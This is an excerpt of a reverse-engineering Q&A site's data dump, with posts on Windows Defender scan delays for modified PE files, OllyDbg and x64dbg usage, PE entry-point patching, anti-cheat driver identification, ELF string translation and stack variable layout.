  <row Id="22585" PostTypeId="1" CreationDate="2019-11-20T15:10:51.640" Score="3" ViewCount="171" Body="&lt;p&gt;The relevant files for this question are here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cubiclesoft.com/Unrelated/32_pe_msmpeng_test.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cubiclesoft.com/Unrelated/32_pe_msmpeng_test.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contains a before and after DLL.  This simple PHP script demonstrates the problem:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $ts = microtime(true);&#xA;    file_put_contents(&quot;test.dll&quot;, file_get_contents(&quot;32_pe_msmpeng_before.dll&quot;));&#xA;    echo &quot;Time taken:  &quot; . sprintf(&quot;%.02f&quot;, microtime(true) - $ts) . &quot; sec\n&quot;;&#xA;    unlink(&quot;test.dll&quot;);&#xA;&#xA;    $ts = microtime(true);&#xA;    file_put_contents(&quot;test.dll&quot;, file_get_contents(&quot;32_pe_msmpeng_after.dll&quot;));&#xA;    echo &quot;Time taken:  &quot; . sprintf(&quot;%.02f&quot;, microtime(true) - $ts) . &quot; sec\n&quot;;&#xA;    unlink(&quot;test.dll&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;php test.php&#xA;Time taken:  0.00 sec&#xA;Time taken:  4.14 sec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference between the two DLLs is that the certificate table has been removed and the PE checksum has been updated in the &quot;after&quot; DLL.  The 4 second delay is caused by MsMpEng.exe using 100% of one core of a CPU during that time.  MsMpEng.exe is the main Windows Defender realtime scanning engine.  The files are not flagged as malware but the behavior is bizarre in that simply removing the certificate table would trigger a deep scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original file was modified using my &lt;a href=&quot;https://github.com/cubiclesoft/php-winpefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows PE File Tools for PHP&lt;/a&gt; and these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php pe_tools.php modify clear-certs 32_pe_msmpeng_before.dll 32_pe_msmpeng_after.dll&#xA;&#xA;php pe_tools.php modify apply-checksum 32_pe_msmpeng_after.dll 32_pe_msmpeng_after.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked the &quot;after&quot; file in every conceivable way I can think of and it appears to be completely valid to all of the tools I've used.  I've also modified plenty of other PE files without tripping up the realtime scanner.  Just this file causes the time delay and spike in CPU usage and that only happens after the certificate table is removed.  I can make all kinds of other crazy changes to the file that should immediately result in an invalid certificate table (e.g. adding a new PE section, embedding icons, etc) and it won't trip up the realtime scanner either.  But remove the certificate table entirely and that 4 second delay + 100% CPU in MsMpEng.exe appears.  This behavior seems to imply that just &lt;em&gt;having&lt;/em&gt; a certificate table possibly bypasses portions or even, um, all of Windows Defender...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's not really the question.  What I'd like to know is what exactly is in the &quot;after&quot; DLL that is causing MsMpEng.exe to conduct a deep scan that takes upwards of 4 seconds to complete?&lt;/p&gt;&#xA;" OwnerUserId="30240" LastActivityDate="2019-11-20T15:10:51.640" Title="What in this modified PE file causes MsMpEng.exe to consume 4 seconds of CPU?" Tags="|pe|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22586" PostTypeId="1" AcceptedAnswerId="22590" CreationDate="2019-11-20T17:16:57.430" Score="1" ViewCount="108" Body="&lt;p&gt;Im reverse engineering an exe, but i get locked on a specific location, i suppose this is a jump to the same location, when im on this &quot;obfuscated&quot; addresses i cant see any instruction, but the actions looks like be &lt;strong&gt;JMP&lt;/strong&gt; and &lt;strong&gt;RDTSC&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its bad configured &lt;strong&gt;OllyDBG&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some type of protection like &lt;strong&gt;VirtualProtect&lt;/strong&gt; from MSDN ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using &lt;strong&gt;Windows 7 on VirtualBox&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tASd1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tASd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30230" LastEditorUserId="30230" LastEditDate="2019-11-20T23:47:40.883" LastActivityDate="2019-11-21T08:23:51.180" Title="Cant see mnemonics on ollydbg 2.01" Tags="|x86|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22587" PostTypeId="1" CreationDate="2019-11-20T19:05:54.947" Score="1" ViewCount="48" Body="&lt;p&gt;I'm in the process of creating ASUS AURA drivers for Linux. I'm hoping somebody here has access to a Strix version of the Vega 56 or 64 on a windows machine? If you do, would you please dump the &lt;code&gt;smbus&lt;/code&gt;. This can be done using a demo version of AIDA64. Right click the bottom status bar and select &quot;debug video -&gt; dump ATI SMBUS&quot; (or something like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Polaris line of cards figured out, but Vega and Navi have thrown me a curve ball.&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2019-11-20T19:05:54.947" Title="ASUS Strix Vega 56 or 64" Tags="|amd64|graphics|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22588" PostTypeId="1" AcceptedAnswerId="22802" CreationDate="2019-11-20T23:26:13.613" Score="6" ViewCount="2989" Body="&lt;p&gt;So it's easy to transfer the standard input and output in radare2 to a new terminal  using rarun2, here's how:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals/16430#16430&quot;&gt;Debugging with radare2 using two terminals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was wondering if i can use rarun2 with Cutter  or even display the program's output in the cutter console? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm using Ubuntu 18.04&lt;/p&gt;&#xA;" OwnerUserId="30244" LastEditorUserId="30244" LastEditDate="2019-11-24T20:34:14.817" LastActivityDate="2019-12-22T12:19:12.380" Title="Is there any way to display the standard input and output of a program to Cutter's console while debugging?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22589" PostTypeId="1" CreationDate="2019-11-20T23:55:30.110" Score="1" ViewCount="90" Body="&lt;p&gt;I am learning &lt;code&gt;PE32+&lt;/code&gt; (64 bit) files. I have added a new section to the &lt;code&gt;PE32+&lt;/code&gt; file and made the new section as the entry point. Some simple instructions are added in the new segment. Now I want to go to the old entry point after executing the new segment, then continue execution from there. I read the articles for &lt;code&gt;PE32&lt;/code&gt; that are using &lt;code&gt;assembly&lt;/code&gt; language instructions. But I am not able get it working for &lt;code&gt;64 bit&lt;/code&gt;(tried to add &lt;code&gt;.asm&lt;/code&gt; files). Please help me with any useful information. Is it possible to do it in &lt;code&gt;C++&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="30141" LastActivityDate="2019-11-20T23:55:30.110" Title="Go back to the original entry point after executing the instructions in the newly added segment- PE32+, C++" Tags="|c++|x86-64|assembly|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22590" PostTypeId="2" ParentId="22586" CreationDate="2019-11-21T08:23:51.180" Score="3" Body="&lt;p&gt;Sometimes OllyDbg analysis of the code is incorrect and it shows data bytes instead.&#xA;This may happen if the segment of code you are looking at has no direct call/jmp into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you right-click in the CPU window and select &quot;Remove analysis from module&quot; it will force everything in the disassembly window show as instructions. &lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2019-11-21T08:23:51.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22591" PostTypeId="2" ParentId="22390" CreationDate="2019-11-21T09:21:10.363" Score="0" Body="&lt;p&gt;A dumped file is, as the name suggests, a memory dumped process.&#xA;Memory dumped means written to disk exactly as it is mapped in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any relocations, dynamic mapping, rebasing etc. that are done by the loader or by the program - they will be reflected in the file.&#xA;Because of this, the loader will not be able to load a dumped process out-of-the-box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpacked files are generally files that have their protections removed but may run (or at least, load).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, by definition, a dumped process may or may not be unpacked and an unpacked file may or may not have been dumped from memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least, in order to make the dumped file loadable you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the VirtualAddress and VirtualSize of all sections over their RawAddress and RawSize.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the directories (import, export, reloc etc.) point to addresses inside available memory. They may be incorrect/corrupted, but must be inside process mapping.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2019-11-21T09:21:10.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22592" PostTypeId="1" AcceptedAnswerId="22602" CreationDate="2019-11-21T11:06:09.800" Score="0" ViewCount="486" Body="&lt;p&gt;How does one find out if a game uses KernelMode anti cheat or UserMode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the Game Black Desert Online uses Xigncode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i google a bit about Xigncode i immediately find out that: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Xigncode uses a driver called xhunter1.sys. to protect&quot; -&gt; KernelMode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Tools and Steps are used by the people to determine this?&lt;/p&gt;&#xA;" OwnerUserId="26786" LastActivityDate="2019-12-05T04:01:58.617" Title="What is the usual way to determine if a Game uses KernelMode or UserMode Anti cheat?" Tags="|anti-debugging|game-hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22595" PostTypeId="2" ParentId="22174" CreationDate="2019-11-21T23:09:31.873" Score="0" Body="&lt;p&gt;It turns out that it is important to set the correct architecture. After setting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e asm.bits=32&#xA;e asm.arch=x86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;everything works much better. Tested on r2 4.0.0.&lt;/p&gt;&#xA;" OwnerUserId="29228" LastActivityDate="2019-11-21T23:09:31.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22596" PostTypeId="1" CreationDate="2019-11-21T23:29:30.130" Score="2" ViewCount="449" Body="&lt;p&gt;I have this arm elf file: &lt;a href=&quot;https://www20.zippyshare.com/v/2yLS1H8D/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www20.zippyshare.com/v/2yLS1H8D/file.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extract the user-interface texts to translate them to my local language.&#xA;I found the section containing the texts and tried to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm-none-eabi-objcopy hmi --dump-section .rodata=dump.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there are English and Spanish texts in it, and i want to change the Spanish ones to German ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i take the ELF apart, change these texts and rebuild the elf back again in a correct way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some text changes with a hex editor but this does not work very well.&lt;/p&gt;&#xA;" OwnerUserId="30252" LastEditorUserId="60" LastEditDate="2019-11-22T13:22:52.983" LastActivityDate="2019-11-22T13:22:52.983" Title="How to use arm-none-eabi-objcopy to extract texts, translate, and rebuild ELF file" Tags="|patching|objdump|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22597" PostTypeId="1" CreationDate="2019-11-22T02:16:50.387" Score="0" ViewCount="365" Body="&lt;p&gt;I am decompiling a third party &lt;code&gt;.NET dll&lt;/code&gt; which was obfuscated using &lt;code&gt;codeveil&lt;/code&gt;&lt;br/&gt;&#xA;my aim is to get full source code,&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;I tried decompiling using &lt;code&gt;dnSpy&lt;/code&gt;, &lt;code&gt;JustDecompile&lt;/code&gt; &amp;amp; &lt;code&gt;Reflector&lt;/code&gt;&lt;br/&gt;&#xA;however it just shows the public methods and properties inside the dll &lt;br/&gt;&#xA;and no method body is shown&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public class TestManager&#xA;    {&#xA;        // Fields&#xA;        private OleDbDatabase b;&#xA;&#xA;        // Methods&#xA;        public TestManager();&#xA;        public OperationResult AddRecord(XProfile record);&#xA;        public OperationResult RevokeRecord(XProfile record);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it errors out when I try to export source code&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;so how do I get the source code? is it possible?&lt;br/&gt;&#xA;I guess at-least if I see the &lt;code&gt;IL&lt;/code&gt; code then I can rewrite the functions&lt;/p&gt;&#xA;" OwnerUserId="30255" LastActivityDate="2019-11-22T02:16:50.387" Title="reverse engineering obfuscated .net dll" Tags="|decompilation|dll|.net|c#|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22599" PostTypeId="1" CreationDate="2019-11-22T07:01:35.397" Score="2" ViewCount="3554" Body="&lt;p&gt;Is there a way to break code execution when a register contains a particular value with x64dbg? I'm not talking about setting a conditional breakpoint at a specific location, but about watching the registers permanently and breaking as soon as the value is found. Ideally, I'd like to check the registers for string references, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If such functionality doesn't exist, I'd be willing to try and implement it myself, if you could point me in the right direction, maybe.&lt;/p&gt;&#xA;" OwnerUserId="16486" LastActivityDate="2019-11-22T09:05:22.737" Title="x64dbg: break when a register contains a value" Tags="|x64dbg|breakpoint|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22600" PostTypeId="2" ParentId="20950" CreationDate="2019-11-22T08:25:02.603" Score="3" Body="&lt;p&gt;One of the possible ways to do this - use &lt;a href=&quot;https://github.com/radareorg/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; or &lt;a href=&quot;https://github.com/radareorg/cutter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cutter&lt;/a&gt; with the &lt;a href=&quot;https://github.com/radareorg/r2ghidra-dec&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2ghidra&lt;/a&gt; plugin. It will load the PDB and use Ghidra decompiler to do the actual decompilation.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2019-11-22T08:25:02.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22601" PostTypeId="2" ParentId="22599" CreationDate="2019-11-22T09:05:22.737" Score="1" Body="&lt;p&gt;Going by the similar &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22036/&quot;&gt;question for OllyDbg&lt;/a&gt;, it seems you should be able to achieve it by using &lt;a href=&quot;https://help.x64dbg.com/en/latest/introduction/ConditionalTracing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Conditional Tracing&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The doc also mentions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can start a conditional tracing by “Trace over until&#xA;  condition”/”Trace into until condition” commands in the Debug menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-22T09:05:22.737" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22602" PostTypeId="2" ParentId="22592" CreationDate="2019-11-22T11:43:08.970" Score="2" Body="&lt;p&gt;There is not a single Anti Cheat(AC) I am aware of that is kernel mode without using &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;ObRegisterCallbacks&lt;/a&gt; to block access to the process. In fact a good number of the AC drivers I've looked at are nothing more than these callbacks and, sometimes, kernel pattern scans. Nearly every kernel mode AC will also have an IOCTL pipe that's pretty obvious (e.g \Device\AcName). No kernel AC is going to hide themselves, using a tool like Driver List should also be obvious. Many will also use &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/directshow/dbglog&quot; rel=&quot;nofollow noreferrer&quot;&gt;DbgLog&lt;/a&gt; in &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/wdf/driverentry-for-kmdf-drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;DriverEntry&lt;/a&gt; which you can see with &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/debugview&quot; rel=&quot;nofollow noreferrer&quot;&gt;DebugView&lt;/a&gt; using kernel capture. They will also almost universally be signed with a certificate matching the AC name.  I guess the best answer to this is just to use generic tools to look through loaded drivers, it's typically very obvious if an AC driver is loaded.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="14622" LastEditDate="2019-12-05T04:01:58.617" LastActivityDate="2019-12-05T04:01:58.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22603" PostTypeId="1" CreationDate="2019-11-22T15:36:01.867" Score="2" ViewCount="338" Body="&lt;p&gt;I was practicing some reverse engineering crack-mes as part of our university curriculum, and I have a question around the arrangement of variables on the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very basic C++ code, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void foo(int x){&#xA;    int a=0;&#xA;    int b=x;&#xA;    int c=3;&#xA;    int z=a+b+c;&#xA;    return;&#xA;}&#xA;&#xA;int main(){&#xA;     foo(5);&#xA;     return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile the program, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ program.cpp -o program -ggdb &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run gdb with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And inside gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set disassembly-flavor intel&#xA;disass foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect the stack frame layout of &lt;code&gt;foo&lt;/code&gt; to have the variable &lt;code&gt;a&lt;/code&gt; on top of &lt;code&gt;b&lt;/code&gt;, followed by &lt;code&gt;c&lt;/code&gt; and then &lt;code&gt;z&lt;/code&gt;. But that does not seem to be the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stumbled across &lt;a href=&quot;https://cs.stackexchange.com/a/76901&quot;&gt;this&lt;/a&gt; answer in which the explanation shows a similar layout of how variables are arranged. I'd expect that &lt;code&gt;x&lt;/code&gt; would be at the highest address in the frame, right below &lt;code&gt;ebp&lt;/code&gt;. But the answer clearly shows &lt;code&gt;z&lt;/code&gt; being the closest to &lt;code&gt;ebp&lt;/code&gt;, given that it is at &lt;code&gt;ebp - 4&lt;/code&gt; but &lt;code&gt;x&lt;/code&gt; is at &lt;code&gt;ebp - 12&lt;/code&gt;, which seems counter intuitive to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read a bunch of books, and have seen a couple of online videos on buffer overflows where it is said that the first variable the compiler encounters is the first to be placed on the stack; and order of variable declaration can effect what variables are overwritten in case there is a buffer next to them that's overflown. Is this still a valid statement to make?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I see variables arranged in such an order? Kindly help me out, I'm not sure if my facts are outdated or am I missing something fundamental.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I am using Ubuntu 16.04 Desktop, with the latest version of GCC/G++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 1: Adding disassembly of function &lt;code&gt;foo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@Ubuntu:~$ gdb -q program &#xA;Reading symbols from program... &#xA;(gdb) set disassembly intel &#xA;(gdb) disass foo &#xA;Dump of assembler code for function foo(int): &#xA;    0x0000000000001125 &amp;lt;+0&amp;gt;:    push rbp    &#xA;    0x0000000000001126 &amp;lt;+1&amp;gt;:    mov rbp,rsp &#xA;    0x0000000000001129 &amp;lt;+4&amp;gt;:    mov DWORD PTR [rbp-0x14],edi &#xA;    0x000000000000112c &amp;lt;+7&amp;gt;:    mov DWORD PTR [rbp-0x10],0x0 &#xA;    0x0000000000001133 &amp;lt;+14&amp;gt;:   mov eax,DWORD PTR [rbp-0x14]&#xA;    0x0000000000001136 &amp;lt;+17&amp;gt;:   mov DWORD PTR [rbp-0xc],eax&#xA;    0x0000000000001139 &amp;lt;+20&amp;gt;:   mov DWORD PTR [rbp-0x8],0x3&#xA;    0x0000000000001140 &amp;lt;+27&amp;gt;:   mov edx,DWORD PTR [rbp-0x10]&#xA;    0x0000000000001143 &amp;lt;+30&amp;gt;:   mov eax,DWORD PTR [rbp-0xc]&#xA;    0x0000000000001146 &amp;lt;+33&amp;gt;:   add edx,eax &#xA;    0x0000000000001148 &amp;lt;+35&amp;gt;:   mov eax,DWORD PTR [rbp-0x8]&#xA;    0x000000000000114b &amp;lt;+38&amp;gt;:   add eax,edx &#xA;    0x000000000000114d &amp;lt;+40&amp;gt;:   mov DWORD PTR [rbp-0x4],eax  &#xA;    0x0000000000001150 &amp;lt;+43&amp;gt;:   nop &#xA;    0x0000000000001151 &amp;lt;+44&amp;gt;:   pop rbp &#xA;    0x0000000000001152 &amp;lt;+45&amp;gt;:   ret &#xA;End of assembler dump. &#xA;(gdb) b *foo+43 &#xA;Breakpoint 1 at 0x1150: file program.cpp, line 6. &#xA;(gdb) r Starting program: /home/ubuntu/program Breakpoint 1, foo (x=5) at program.cpp:6 &#xA;6    return; &#xA;(gdb) p &amp;amp;a &#xA;$1 = (int *) 0x7fffffffdfb0 &#xA;(gdb) p $rbp-0x10 &#xA;$2 = (void *) 0x7fffffffdfb0 &#xA;&#xA;(gdb) p &amp;amp;b &#xA;$3 = (int *) 0x7fffffffdfb4 &#xA;(gdb) p $rbp-0xc &#xA;$4 = (void *) 0x7fffffffdfb4 &#xA;&#xA;(gdb) p &amp;amp;c &#xA;$5 = (int *) 0x7fffffffdfb8 &#xA;(gdb) p $rbp-0x8 &#xA;$6 = (void *) 0x7fffffffdfb8 &#xA;&#xA;(gdb) p &amp;amp;z &#xA;$7 = (int *) 0x7fffffffdfbc &#xA;(gdb) p $rbp-0x4 &#xA;$8 = (void *) 0x7fffffffdfbc &#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30260" LastEditorUserId="30260" LastEditDate="2019-11-22T16:43:17.830" LastActivityDate="2020-04-20T21:06:20.730" Title="Arrangement of variables on the stack - out of order?" Tags="|c++|gdb|gcc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22604" PostTypeId="2" ParentId="13712" CreationDate="2019-11-22T16:07:58.623" Score="0" Body="&lt;p&gt;The third move is referring to a member inside the Thread argument (shown in the ReactOS source linked by Nirlzr) which is at offset +0x50. As seen in the _KTHREAD struct there's nothing at offset +0x50 and the 2 closest members we have at that offset are ApcState and ApcStateFill. Looking further into ApcStateFill is pointless as it is just a string and would render the fourth move pointless, however ApcState is interesting as it is a _KAPC_STATE struct. Interestingly enough, ApcState has a member at +0x10 which is called Process which works accordingly with the third move where we move a member value at offset +[0x40 + 0x10]. The fourth move refers to a pointer to another struct of _KPROCESS at the Process member earlier discussed in the _KAPC_STATE struct. This pointer to a _KPROCESS + 0x70 gives us the member StackCount. And in the end, cl ends up with the value at the member StackCount which will be compared with 7.&lt;/p&gt;&#xA;" OwnerUserId="30261" LastActivityDate="2019-11-22T16:07:58.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22605" PostTypeId="2" ParentId="13712" CreationDate="2019-11-22T19:52:11.647" Score="1" Body="&lt;p&gt;This Thread Popped up Due To Recent Activity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from The Accepted Answer An Answer By Nirlzr &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And specifically, that dereference you're seeing at the top of the&#xA;  assembly you shared is the implementation of ASSERT_THREAD:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the Disassembly and Derefernces does not belong to ASSERT_THREAD &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the derefernces check the StackCount memeber of _KAPC_STATE.Process.StackCount&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dt nt!_ETHREAD Tcb.ApcState.Process-&amp;gt;StackCount.StackCount&#xA;   +0x000 Tcb                                         : &#xA;      +0x040 ApcState                                    : &#xA;         +0x010 Process                                     : &#xA;            +0x074 StackCount                                  : &#xA;               +0x000 StackCount                                  : Pos 3, 29 Bits  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;googling geoffrey chappel _KTHREAD will provide more information about the overlay and  the Priortity member a char which is fitted inside KAPC_STATE for x86&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-11-22T19:52:11.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22606" PostTypeId="2" ParentId="22603" CreationDate="2019-11-22T20:33:46.710" Score="1" Body="&lt;p&gt;Keep in mind Your program as is when compiled with -O will become just &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,0&#xA;return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tke03.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tke03.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;every thing out there in your Source is Dead Code and Will be eliminated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since you are compiling this in debug mode without  any optimizations the compiler provides you all those variables &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am not sure what you mean by nearer to ebp &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in debugmode compiler as far as possible allocates the variables in the same order &#xA;as it encounters  them &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a colour coded nonoptimzed output for the same code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see compiler first instruction in white color is your int a=0;  which is at rbp-4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rF7FZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rF7FZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1102049/order-of-local-variable-allocation-on-the-stack&quot;&gt;but the std iirc does not specify any standard for allocation of variable addresses&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;quoting from standard linked in that thread&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each parameter has automatic storage duration; its identifier is an&#xA;  lvalue.164) The layout of the storage for parameters is unspecified.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-11-22T20:33:46.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22608" PostTypeId="1" CreationDate="2019-11-23T08:31:29.313" Score="0" ViewCount="188" Body="&lt;p&gt;Is it possible to dump a running program's memory (Windows OS), and then later &quot;reinsert&quot; that memory when the program is run again?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2019-11-23T20:09:08.210" Title="Can a program's memory be dumped and then reinserted?" Tags="|windows|memory|dumping|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
